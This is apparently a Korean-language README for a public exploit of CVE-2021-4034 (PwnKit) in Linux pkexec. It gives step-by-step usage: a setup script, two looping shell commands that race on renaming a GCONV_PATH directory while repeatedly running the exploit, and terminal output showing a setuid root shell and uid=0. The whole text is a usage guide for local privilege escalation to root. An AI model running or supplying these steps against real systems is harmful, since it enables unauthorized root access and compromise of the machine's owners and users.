ayrx/cve-2021-4034CVE-2021-4034(PwnKit)용 익스플로잇으로, Linux 시스템에서 pkexec의 경쟁 조건(race condition)을 악용하여 권한을 root로 상승시킵니다.
Qualys 팀의 pwnkit 취약점에 대한 익스플로잇입니다.
이 익스플로잇은 대상 머신에 gcc가 설치되어 있다고 가정합니다.
$ id
uid=1001(ayrx) gid=1002(ayrx) groups=1002(ayrx),27(sudo)
$ ./setup.sh
하나의 bash 세션에서 다음 명령을 실행하세요:
while :; do mv "GCONV_PATH=./value" "GCONV_PATH=./value.bak"; mv "GCONV_PATH=./value.bak" "GCONV_PATH=./value"; done
다른 bash 세션에서 다음 명령을 실행하세요:
while :; do ./exploit; done
결국 레이스에서 승리하여 루트 접근 권한을 제공하는 shell 바이너리를 얻을 수 있습니다:
$ ls -lah shell
-rwsrwxrwx 1 root ayrx 16K Jan 26 08:57 shell
$ ./shell
# id
uid=0(root) gid=1002(ayrx) groups=1002(ayrx),27(sudo)
이 기법에 대한 간단한 분석은 제 블로그에서 확인할 수 있습니다.